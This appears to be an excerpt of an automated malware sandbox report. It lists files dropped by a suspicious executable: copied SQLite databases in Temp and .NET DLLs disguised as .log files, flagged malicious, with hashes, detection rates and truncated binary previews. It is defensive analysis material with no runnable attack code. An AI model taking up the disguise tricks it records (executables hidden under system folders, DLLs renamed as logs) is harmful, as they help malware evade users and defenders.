C:\Users\user\AppData\Local\Temp\wa9PcEX8jj

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xEnXMmNnKh

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xdq2u7qUed

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xqheZsVPwb

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yEr8bE2IB1

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yxV4B15yy4

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\z6EGwB83YS

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zCOj6nAJKL

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zJmbUP6Ewn

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zK5B5lSR3N

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zRB6NSX7Lw

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zWCzCEZ6o3

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zlHgwzuZFp

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zwFA7yDryV

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\AoefClwh.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Joe Sandbox View:	Filename: HMhdtzxEHf.exe, Detection: malicious, Browse Filename: kJrNOFEGbQ.exe, Detection: malicious, Browse Filename: lEwK4xROgV.exe, Detection: malicious, Browse Filename: zZ1Y43bxxV.exe, Detection: malicious, Browse Filename: VqGD18ELBM.exe, Detection: malicious, Browse Filename: updIMdPUj8.exe, Detection: malicious, Browse Filename: f3I38kv.exe, Detection: malicious, Browse Filename: r6cRyCpdfS.exe, Detection: malicious, Browse Filename: Z4D3XAZ2jB.exe, Detection: malicious, Browse Filename: cbCjTbodwa.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\BFEovXjB.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\CBsOLUGE.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	89600
Entropy (8bit):	5.905167202474779
Encrypted:	false
SSDEEP:	1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
MD5:	06442F43E1001D860C8A19A752F19085
SHA1:	9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
SHA-256:	6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
SHA-512:	3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

C:\Users\user\Desktop\CDgwRXyw.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ENCxRpdw.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\FkfwJRmb.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\FtWmYUyp.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\GhGFeRBW.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\KfBEvNVm.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
